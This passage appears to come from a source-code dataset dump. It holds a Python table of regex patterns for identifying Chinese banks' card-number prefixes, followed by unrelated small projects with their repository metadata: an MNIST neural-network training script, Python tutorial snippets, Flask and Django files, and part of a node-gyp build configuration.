"reg": r"/^(621242|621538|621496)\d{13}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "青岛银行",
"bankCode": "QDCCB",
"patterns": [
{
"reg": r"/^(621252|622146|940061|628239)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(621419|623170)\d{13}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "秦皇岛市商业银行",
"bankCode": "QHDCCB",
"patterns": [
{
"reg": r"/^(62249802|94004602)\d{11}$/g",
"cardType": "DC"
},
{
"reg": r"/^(621237|623003)\d{13}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "青海银行",
"bankCode": "BOQH",
"patterns": [
{
"reg": r"/^(622310|940068)\d{11}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622817|628287|625959)\d{10}$/g",
"cardType": "CC"
},
{
"reg": r"/^(62536601)\d{8}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "台州银行",
"bankCode": "TZCB",
"patterns": [
{
"reg": r"/^(622427)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(940069)\d{11}$/g",
"cardType": "DC"
},
{
"reg": r"/^(623039)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622321|628273)\d{10}$/g",
"cardType": "CC"
},
{
"reg": r"/^(625001)\d{10}$/g",
"cardType": "SCC"
}
]
},
{
"bankName": "长沙银行",
"bankCode": "CSCB",
"patterns": [
{
"reg": r"/^(694301)\d{12}$/g",
"cardType": "DC"
},
{
"reg": r"/^(940071|622368|621446)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(625901|622898|622900|628281|628282|622806|628283)\d{10}$/g",
"cardType": "CC"
},
{
"reg": r"/^(620519)\d{13}$/g",
"cardType": "PC"
}
]
},
{
"bankName": "泉州银行",
"bankCode": "BOQZ",
"patterns": [
{
"reg": r"/^(683970|940074)\d{12}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622370)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(621437)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(628319)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "包商银行",
"bankCode": "BSB",
"patterns": [
{
"reg": r"/^(622336|621760)\d{11}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622165)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622315|625950|628295)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "龙江银行",
"bankCode": "DAQINGB",
"patterns": [
{
"reg": r"/^(621037|621097|621588|622977)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(62321601)\d{11}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622860)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622644|628333)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "上海农商银行",
"bankCode": "SHRCB",
"patterns": [
{
"reg": r"/^(622478|940013|621495)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(625500)\d{10}$/g",
"cardType": "SCC"
},
{
"reg": r"/^(622611|622722|628211|625989)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "浙江泰隆商业银行",
"bankCode": "ZJQL",
"patterns": [
{
"reg": r"/^(622717)\d{10}$/g",
"cardType": "SCC"
},
{
"reg": r"/^(628275|622565|622287)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "内蒙古银行",
"bankCode": "H3CB",
"patterns": [
{
"reg": r"/^(622147|621633)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(628252)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "广西北部湾银行",
"bankCode": "BGB",
"patterns": [
{
"reg": r"/^(623001)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(628227)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "桂林银行",
"bankCode": "GLBANK",
"patterns": [
{
"reg": r"/^(621456)\d{11}$/g",
"cardType": "DC"
},
{
"reg": r"/^(621562)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(628219)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "龙江银行",
"bankCode": "DAQINGB",
"patterns": [
{
"reg": r"/^(621037|621097|621588|622977)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(62321601)\d{11}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622475|622860)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(625588)\d{10}$/g",
"cardType": "SCC"
},
{
"reg": r"/^(622270|628368|625090|622644|628333)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "成都农村商业银行",
"bankCode": "CDRCB",
"patterns": [
{
"reg": r"/^(623088)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622829|628301|622808|628308)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "福建省农村信用社联合社",
"bankCode": "FJNX",
"patterns": [
{
"reg": r"/^(622127|622184|621701|621251|621589|623036)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(628232|622802|622290)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "天津农村商业银行",
"bankCode": "TRCB",
"patterns": [
{
"reg": r"/^(622531|622329)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622829|628301)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "江苏省农村信用社联合社",
"bankCode": "JSRCU",
"patterns": [
{
"reg": r"/^(621578|623066|622452|622324)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622815|622816|628226)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "湖南农村信用社联合社",
"bankCode": "SLH",
"patterns": [
{
"reg": r"/^(622906|628386|625519|625506)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "江西省农村信用社联合社",
"bankCode": "JXNCX",
"patterns": [
{
"reg": r"/^(621592)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(628392)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "商丘市商业银行",
"bankCode": "SCBBANK",
"patterns": [
{
"reg": r"/^(621748)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(628271)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "华融湘江银行",
"bankCode": "HRXJB",
"patterns": [
{
"reg": r"/^(621366|621388)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(628328)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "衡水市商业银行",
"bankCode": "HSBK",
"patterns": [
{
"reg": r"/^(621239|623068)\d{13}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "重庆南川石银村镇银行",
"bankCode": "CQNCSYCZ",
"patterns": [
{
"reg": r"/^(621653004)\d{10}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "湖南省农村信用社联合社",
"bankCode": "HNRCC",
"patterns": [
{
"reg": r"/^(622169|621519|621539|623090)\d{13}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "邢台银行",
"bankCode": "XTB",
"patterns": [
{
"reg": r"/^(621238|620528)\d{13}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "临汾市尧都区农村信用合作联社",
"bankCode": "LPRDNCXYS",
"patterns": [
{
"reg": r"/^(628382|625158)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "东营银行",
"bankCode": "DYCCB",
"patterns": [
{
"reg": r"/^(621004)\d{12}$/g",
"cardType": "DC"
},
{
"reg": r"/^(628217)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "上饶银行",
"bankCode": "SRBANK",
"patterns": [
{
"reg": r"/^(621416)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(628217)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "德州银行",
"bankCode": "DZBANK",
"patterns": [
{
"reg": r"/^(622937)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(628397)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "承德银行",
"bankCode": "CDB",
"patterns": [
{
"reg": r"/^(628229)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "云南省农村信用社",
"bankCode": "YNRCC",
"patterns": [
{
"reg": r"/^(622469|628307)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "柳州银行",
"bankCode": "LZCCB",
"patterns": [
{
"reg": r"/^(622292|622291|621412)\d{12}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622880|622881)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(62829)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "威海市商业银行",
"bankCode": "WHSYBANK",
"patterns": [
{
"reg": r"/^(623102)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(628234)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "湖州银行",
"bankCode": "HZBANK",
"patterns": [
{
"reg": r"/^(628306)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "潍坊银行",
"bankCode": "BANKWF",
"patterns": [
{
"reg": r"/^(622391|940072)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(628391)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "赣州银行",
"bankCode": "GZB",
"patterns": [
{
"reg": r"/^(622967|940073)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(628233)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "日照银行",
"bankCode": "RZGWYBANK",
"patterns": [
{
"reg": r"/^(628257)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "南昌银行",
"bankCode": "NCB",
"patterns": [
{
"reg": r"/^(621269|622275)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(940006)\d{11}$/g",
"cardType": "DC"
},
{
"reg": r"/^(628305)\d{11}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "贵阳银行",
"bankCode": "GYCB",
"patterns": [
{
"reg": r"/^(622133|621735)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(888)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(628213)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "锦州银行",
"bankCode": "BOJZ",
"patterns": [
{
"reg": r"/^(622990|940003)\d{11}$/g",
"cardType": "DC"
},
{
"reg": r"/^(628261)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "齐商银行",
"bankCode": "QSBANK",
"patterns": [
{
"reg": r"/^(622311|940057)\d{11}$/g",
"cardType": "DC"
},
{
"reg": r"/^(628311)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "珠海华润银行",
"bankCode": "RBOZ",
"patterns": [
{
"reg": r"/^(622363|940048)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(628270)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "葫芦岛市商业银行",
"bankCode": "HLDCCB",
"patterns": [
{
"reg": r"/^(622398|940054)\d{10}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "宜昌市商业银行",
"bankCode": "HBC",
"patterns": [
{
"reg": r"/^(940055)\d{11}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622397)\d{11}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "杭州银行",
"bankCode": "HZCB",
"patterns": [
{
"reg": r"/^(603367|622878|623061)\d{12}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622397|622286|628236|625800)\d{11}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "苏州市商业银行",
"bankCode": "JSBANK",
"patterns": [
{
"reg": r"/^(603506)\d{13}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "辽阳银行",
"bankCode": "LYCB",
"patterns": [
{
"reg": r"/^(622399|940043)\d{11}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "洛阳银行",
"bankCode": "LYB",
"patterns": [
{
"reg": r"/^(622420|940041)\d{11}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "焦作市商业银行",
"bankCode": "JZCBANK",
"patterns": [
{
"reg": r"/^(622338)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(940032)\d{10}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "镇江市商业银行",
"bankCode": "ZJCCB",
"patterns": [
{
"reg": r"/^(622394|940025)\d{10}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "法国兴业银行",
"bankCode": "FGXYBANK",
"patterns": [
{
"reg": r"/^(621245)\d{10}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "大华银行",
"bankCode": "DYBANK",
"patterns": [
{
"reg": r"/^(621328)\d{13}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "企业银行",
"bankCode": "DIYEBANK",
"patterns": [
{
"reg": r"/^(621651)\d{13}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "华侨银行",
"bankCode": "HQBANK",
"patterns": [
{
"reg": r"/^(621077)\d{10}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "恒生银行",
"bankCode": "HSB",
"patterns": [
{
"reg": r"/^(622409|621441)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622410|621440)\d{11}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622950|622951)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(625026|625024|622376|622378|622377|625092)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "临沂商业银行",
"bankCode": "LSB",
"patterns": [
{
"reg": r"/^(622359|940066)\d{13}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "烟台商业银行",
"bankCode": "YTCB",
"patterns": [
{
"reg": r"/^(622886)\d{10}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "齐鲁银行",
"bankCode": "QLB",
"patterns": [
{
"reg": r"/^(940008|622379)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(628379)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "BC卡公司",
"bankCode": "BCCC",
"patterns": [
{
"reg": r"/^(620011|620027|620031|620039|620103|620106|620120|620123|620125|620220|620278|620812|621006|621011|621012|621020|621023|621025|621027|621031|620132|621039|621078|621220|621003)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(625003|625011|625012|625020|625023|625025|625027|625031|621032|625039|625078|625079|625103|625106|625006|625112|625120|625123|625125|625127|625131|625032|625139|625178|625179|625220|625320|625111|625132|625244)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "集友银行",
"bankCode": "CYB",
"patterns": [
{
"reg": r"/^(622355|623042)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(621043|621742)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622352|622353|625048|625053|625060)\d{10}$/g",
"cardType": "CC"
},
{
"reg": r"/^(620206|620207)\d{10}$/g",
"cardType": "PC"
}
]
},
{
"bankName": "大丰银行",
"bankCode": "TFB",
"patterns": [
{
"reg": r"/^(622547|622548|622546)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(625198|625196|625147)\d{10}$/g",
"cardType": "CC"
},
{
"reg": r"/^(620072)\d{13}$/g",
"cardType": "PC"
},
{
"reg": r"/^(620204|620205)\d{10}$/g",
"cardType": "PC"
}
]
},
{
"bankName": "AEON信贷财务亚洲有限公司",
"bankCode": "AEON",
"patterns": [
{
"reg": r"/^(621064|622941|622974)\d{10}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622493)\d{10}$/g",
"cardType": "CC"
}
]
},
{
"bankName": "澳门BDA",
"bankCode": "MABDA",
"patterns": [
{
"reg": r"/^(621274|621324)\d{13}$/g",
"cardType": "DC"
}
]
},
{
"bankName": "浙江泰隆商业银行",
"bankCode": "ZJTLCB",
"patterns": [
{
"reg": r"/^(622287)\d{10}$/g",
"cardType": "CC"
},
{
"reg": r"/^(622717)\d{10}$/g",
"cardType": "SCC"
},
{
"reg": r"/^(621480)\d{13}$/g",
"cardType": "DC"
},
{
"reg": r"/^(622141)\d{10}$/g",
"cardType": "DC"
}
]
}
]
# bank code可能不是唯一的，只有少数 bank code重复，还是可以用字典
BANK_CONFIG_DICT = dict([(x['bankCode'], x) for x in BANK_CONFIG_LIST])
| [
"aken.jin.33@gmail.com"
] | aken.jin.33@gmail.com |
06ecc90d6f4e88b215eff06a9f8ca48a119641f8 | 844581a7a54cb9cf2bdb3073cd4953ba44f351e4 | /tp2/tp2-deep_NN/miniNN.py | 9e6044fe26d803aa6af95934a046d563663e3cf0 | [] | no_license | amaltarghi/tp_deep_learning | f86a29db0d6f0af69c54e0743e0ddfae21ea57af | 14d23f9af4071a77c82b9b2c25bb3b81c8aaeeb4 | refs/heads/master | 2020-06-15T00:58:21.803013 | 2017-01-27T13:59:00 | 2017-01-27T13:59:00 | 75,184,494 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,989 | py | """
MiniNN - Minimal Neural Network
This code is a straigthforward and minimal implementation
of a multi-layer neural network for training on MNIST dataset.
It is mainly intended for educational and prototyping purpuses.
"""
__author__ = "Gaetan Marceau Caron (gaetan.marceau-caron@inria.fr)"
__copyright__ = "Copyright (C) 2015 Gaetan Marceau Caron"
__license__ = "CeCILL 2.1"
__version__ = "1.0"
import copy, math, time, sys
import dataset_loader
from nn_ops import *
import matplotlib.pyplot as plt
import matplotlib.pyplot as plt1
#############################
### Preliminaries
#############################
# Retrieve the arguments from the command-line
args = parseArgs()
# Fix the seed for the random generator
np.random.seed(seed=0)
#############################
### Dataset Handling
#############################
### Load the dataset
train_set, valid_set, test_set = dataset_loader.load_mnist()
### Define the dataset variables
n_training = train_set[0].shape[0]
n_feature = train_set[0].shape[1]
n_label = np.max(train_set[1])+1
#############################
### Neural Network parameters
#############################
### Activation function
act_func_name = args.act_func
### Network Architecture
nn_arch = np.array([n_feature] + args.arch + [n_label])
### Create the neural network
W,B,act_func,nb_params = initNetwork(nn_arch,act_func_name)
#############################
### Optimization parameters
#############################
eta = args.eta
batch_size = args.batch_size
n_batch = int(math.ceil(float(n_training)/batch_size))
n_epoch = args.n_epoch
#############################
### Auxiliary variables
#############################
cumul_time = 0.
# Convert the labels to one-hot vector
one_hot = np.zeros((n_label,n_training))
one_hot[train_set[1],np.arange(n_training)]=1.
printDescription("Bprop", eta, nn_arch, act_func_name, batch_size, nb_params)
print("epoch time(s) train_loss train_accuracy valid_loss valid_accuracy eta")
#############################
### Learning process
#############################
g_i = []
g_train_loss=[]
g_train_acc=[]
g_valid_loss=[]
g_valid_acc=[]
for i in range(n_epoch):
for j in range(n_batch):
### Mini-batch creation
batch, one_hot_batch, mini_batch_size = getMiniBatch(j, batch_size, train_set, one_hot)
prev_time = time.clock()
### Forward propagation
Y,Yp = forward(act_func, W, B, batch,drop_func)
### Compute the softmax
out = softmax(Y[-1])
### Compute the gradient at the top layer
derror = out-one_hot_batch
### Backpropagation
gradB = backward(derror, W, Yp)
### Update the parameters
W, B = update(eta, batch_size, W, B, gradB, Y)
curr_time = time.clock()
cumul_time += curr_time - prev_time
### Training accuracy
train_loss, train_accuracy = computeLoss(W, B, train_set[0], train_set[1], act_func)
### Valid accuracy
valid_loss, valid_accuracy = computeLoss(W, B, valid_set[0], valid_set[1], act_func)
result_line = str(i) + " " + str(cumul_time) + " " + str(train_loss) + " " + str(train_accuracy) + " " + str(valid_loss) + " " + str(valid_accuracy) + " " + str(eta)
g_i = np.append(g_i, i)
g_train_loss = np.append(g_train_loss, train_loss)
g_train_acc = np.append(g_train_acc, train_accuracy)
g_valid_loss = np.append(g_valid_loss, valid_loss)
g_valid_acc = np.append(g_valid_acc, valid_accuracy)
print(result_line)
sys.stdout.flush() # Force emptying the stdout buffer
plt.plot(g_i,g_train_acc,label='train_acc')
plt.plot(g_i,g_valid_acc,label='valid_acc')
plt.xlabel("epoch")
plt.ylabel("Classification acc sigmoide[128-128]")
plt.ylim([0.,1.])
plt.legend(loc='best')
plt.show()
plt1.plot(g_i,g_train_loss,label='train_loss')
plt1.plot(g_i,g_valid_loss,label='valid_loss')
plt1.xlabel("epoch")
plt1.ylabel("Classification sigmoid [128-128]")
plt1.ylim([0.,3.])
plt1.legend(loc='best')
plt1.show()
| [
"targhiamal@gmail.com"
] | targhiamal@gmail.com |
304598e5e382fad84021f4a95d5a395b957a4456 | 88b78eb8385f30b1ccfd7c57dedd6441305c7d12 | /python_callable_func.py | 1f56ce51576b7be5115cc9baf6491137e4247df5 | [] | no_license | tvocoder/learning_python | cb9faddf45881b0cd9ac26c9e5df19df3a0de34b | 401980c856900b625373a9c883957d6488b4f501 | refs/heads/master | 2022-12-05T09:26:06.581416 | 2020-08-26T18:55:06 | 2020-08-26T18:55:06 | 289,073,661 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,317 | py | print("---= Callables Operators =---")
print("-- *(tuple packing) --")
# Description: Packs the consecutive function positional arguments into a tuple.
# Syntax: def function(*tuple):
# -- tuple: A tuple object used for storing the passed in arguments.
# All the arguments can be accessed within the function body the same way as with any other tuple.
# Remarks: The tuple name *args is used by convention.
# Example:
def add(*args):
total = 0
for arg in args:
total += arg
return total
x = add(1, 2, 3)
print(x)
print("*************************")
print("-- **(dictionary packing) --")
# Definition: Packs the consecutive function keyword arguments into a dictionary.
# Syntax: def function(**dict):
# -- dict: A dictionary object used for storing the passed in arguments.
# All the arguments can be accessed within the function body with the same way as with any other dictionary.
# Remarks: The dict name **kwargs is used by convention.
# Example:
def example(**kwargs):
return kwargs.keys()
d = example(a = 1, b = 20, c = [10, 20, 30])
print(d)
print("*************************")
print("-- *(tuple unpacking) --")
# Definition: Unpacks the contents of a tuple into the function call
# Syntax: function(*iterable)
# Remarks:
# Example:
def add(a, b):
return a + b
t = (2 ,3)
print(add(*t))
print(add(*"AD"))
print(add(*{1: 1, 2: 2}))
print("*************************")
print("-- **(dictionary unpacking) --")
# Definition: Unpacks the contents of a dictionary into a function call
# Syntax: function(**dict)
# -- dict: The dictionary containing pairs of keyword arguments and their values.
# Remarks:
# Example:
def add(a=0, b=0):
return a + b
d = {'a': 2, 'b': 3}
print(add(**d))
print("*************************")
print("-- @(decorator) --")
# Definition: Returns a callable wrapped by another callable.
# Syntax: @decorator
# def function():
# decorator: A callable that takes another callable as an argument.
# Remarks:
# Decorator Syntax:
def decorator(f):
pass
@decorator
def function():
pass
# Is equivalent to:
def function():
pass
function = decorator(function)
# Example:
print("*************************")
print(" -- ()(call operator --")
# Definition:
# Syntax:
# Remarks:
# Example:
print("*************************")
| [
"42848470+tvocoder@users.noreply.github.com"
] | 42848470+tvocoder@users.noreply.github.com |
d3a121fca276e1c24ca96cb517a01a0a8faf1b75 | 633b695a03e789f6aa644c7bec7280367a9252a8 | /samplepy/6-03_student_card.py | 123c709227e82e443dfc704cb4af4d119033367a | [] | no_license | tnakaicode/PlotGallery | 3d831d3245a4a51e87f48bd2053b5ef82cf66b87 | 5c01e5d6e2425dbd17593cb5ecc973982f491732 | refs/heads/master | 2023-08-16T22:54:38.416509 | 2023-08-03T04:23:21 | 2023-08-03T04:23:21 | 238,610,688 | 5 | 2 | null | null | null | null | UTF-8 | Python | false | false | 263 | py | class StudentCard:
def __init__(self):
print('初期化メソッド内の処理です')
self.id = 0
self.name = '未定'
a = StudentCard()
b = StudentCard()
print(f'a.id:{a.id}, a.name:{a.name}')
print(f'b.id:{b.id}, b.name:{b.name}') | [
"tnakaicode@gmail.com"
] | tnakaicode@gmail.com |
c82d7fe7d81d9549ba5139768d173c9cd11899a2 | a99e86146150aae97cd36311c3a90d95c272125a | /config.py | d36f3783d1440ab2f467cb67b9645c96fa0176eb | [] | no_license | mutaihillary/userapp | 017ac68124e72b559ddb5a1e81f60fd0006ffb30 | 0da93766967c37e7c203e995765321eecdd3ac7e | refs/heads/master | 2021-01-19T01:05:43.369086 | 2016-08-19T05:45:40 | 2016-08-19T05:45:40 | 65,550,146 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 363 | py | from flask_sqlalchemy import SQLAlchemy
from flask import Flask
import os
basedir = os.path.abspath(os.path.dirname(__file__))
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] ='sqlite:///' + os.path.join(basedir, 'userapp.db')
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True
app.config['SQLALCHEMY_COMMIT_ON_TEARDOWN'] = True
db = SQLAlchemy(app) | [
"mutaihillary@yahoo.com"
] | mutaihillary@yahoo.com |
e00a10c2d6bec1ad12527286192b6905d5c165f9 | 9c3365a48820ed380de9f8a7a099aef22516b6fd | /general/views.py | 27d471d67a69669f25647407f7f7f1b909df93f2 | [] | no_license | leoscalco/gca | e09b3d9d8432d1c4491f9110acc33bcf2f90e5d8 | 7592b9fd10033039978578eaa9cf4aee8ece5920 | refs/heads/master | 2021-01-01T05:14:33.171180 | 2016-05-02T18:59:10 | 2016-05-02T18:59:10 | 57,908,501 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,105 | py | from django.shortcuts import render
from django.http import HttpResponseRedirect
from gestao.models import *
from django.views import generic
# Create your views here.
def index(request):
context = ''
news = New.objects.all().order_by('-post_date')[:10]
context = {'news':news}
return render(request, 'general/index.html', context)
def tips(request):
context = ''
return render(request, 'general/tips.html', context)
class ListDoc(generic.ListView):
template_name = "general/doc/list.html"
context_object_name = 'docs'
paginate_by = 24
def get_queryset(self):
return Document.objects.all().order_by("-post_date")
class ListClassified(generic.ListView):
template_name = "general/class/list.html"
context_object_name = 'classifieds'
paginate_by = 20
def get_queryset(self):
return Classified.objects.all().order_by("-id")
class ListProduct(generic.ListView):
template_name = "general/store/list.html"
context_object_name = 'products'
paginate_by = 20
def get_queryset(self):
return Product.objects.all() | [
"leoscalco@MacBook-Pro-de-Leonardo.local"
] | leoscalco@MacBook-Pro-de-Leonardo.local |
8449ce1d59f6ee07799731026b6624f845beb714 | 52a9feebc66938e5317a0b39cd2f316cc1a85d5e | /test2.py | 2cb94b72fd266d13a53e590ad2f10c676c13be90 | [] | no_license | williamwu1234567890/20170505 | c3c323b4c83797e2a65cdca08ce8be584397cc93 | 9e07952bced70582424f8ba8b9034778be8ccb60 | refs/heads/master | 2021-01-20T10:21:11.530957 | 2017-06-28T04:47:30 | 2017-06-28T04:47:30 | 90,347,918 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 33 | py | b =10
c=2
c=b
d=1000
#wwwwwwwwww
| [
"wulei_xz@126.com"
] | wulei_xz@126.com |
90a48b4d3d91f34e6401d52f81b2887165da1394 | e4532eb380fd684e2a658442279239793c39ae5f | /sc2/helpers/__init__.py | d8ba937712567184137e877c5d8e764dd15a1a05 | [] | no_license | deltaori0/NCF2020 | 6225e9b0e60c31111012e63888e25c79121c53ed | 34d99c01c3bcc21b7983bcf7f46277f2ff9d8093 | refs/heads/master | 2023-04-07T07:24:22.547241 | 2021-01-31T14:49:46 | 2021-01-31T14:49:46 | 357,296,029 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 360 | py | from pathlib import Path
from .control_group import ControlGroup
def is_submodule(path):
if path.is_file():
return path.suffix == ".py" and path.stem != "__init__"
elif path.is_dir():
return (path / "__init__.py").exists()
return False
__all__ = [p.stem for p in Path(__file__).parent.iterdir() if is_submodule(p)]
| [
"rex8312@gmail.com"
] | rex8312@gmail.com |
5d7d5330db3ed066c882a1af3fa60bd932cb33d0 | dcd030f0f8c49592a19deb903fa4afb9e370033b | /node_modules/grpc/build/config.gypi | 977b759c71cfe812f2a87e6e6b5fae158514c220 | [
"Apache-2.0"
] | permissive | IswaryaChoday/seafood-market | 31e52ec55813df6303bcc8876f1ace519717788c | 44cc756e6f62cd0551a1aafcf8f3c49a4752bf58 | refs/heads/master | 2022-12-08T13:46:07.356829 | 2020-09-04T15:38:56 | 2020-09-04T15:38:56 | 269,240,697 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,132 | gypi | # Do not edit. File was generated by node-gyp's "configure" step
{
"target_defaults": {
"cflags": [],
"default_configuration": "Release",
"defines": [],
"include_dirs": [],
"libraries": []
},
"variables": {
"asan": 0,
"build_v8_with_gn": "false",
"coverage": "false",
"dcheck_always_on": 0,
"debug_nghttp2": "false",
"debug_node": "false",
"enable_lto": "false",
"enable_pgo_generate": "false",
"enable_pgo_use": "false",
"error_on_warn": "false",
"force_dynamic_crt": 0,
"host_arch": "x64",
"icu_data_in": "../../deps/icu-tmp/icudt66l.dat",
"icu_endianness": "l",
"icu_gyp_path": "tools/icu/icu-generic.gyp",
"icu_path": "deps/icu-small",
"icu_small": "false",
"icu_ver_major": "66",
"is_debug": 0,
"llvm_version": "0.0",
"napi_build_version": "0",
"node_byteorder": "little",
"node_debug_lib": "false",
"node_enable_d8": "false",
"node_install_npm": "true",
"node_module_version": 83,
"node_no_browser_globals": "false",
"node_prefix": "/usr/local",
"node_release_urlbase": "https://nodejs.org/download/release/",
"node_shared": "false",
"node_shared_brotli": "false",
"node_shared_cares": "false",
"node_shared_http_parser": "false",
"node_shared_libuv": "false",
"node_shared_nghttp2": "false",
"node_shared_openssl": "false",
"node_shared_zlib": "false",
"node_tag": "",
"node_target_type": "executable",
"node_use_bundled_v8": "true",
"node_use_dtrace": "true",
"node_use_etw": "false",
"node_use_node_code_cache": "true",
"node_use_node_snapshot": "true",
"node_use_openssl": "true",
"node_use_v8_platform": "true",
"node_with_ltcg": "false",
"node_without_node_options": "false",
"openssl_fips": "",
"openssl_is_fips": "false",
"shlib_suffix": "83.dylib",
"target_arch": "x64",
"v8_enable_31bit_smis_on_64bit_arch": 0,
"v8_enable_gdbjit": 0,
"v8_enable_i18n_support": 1,
"v8_enable_inspector": 1,
"v8_enable_pointer_compression": 0,
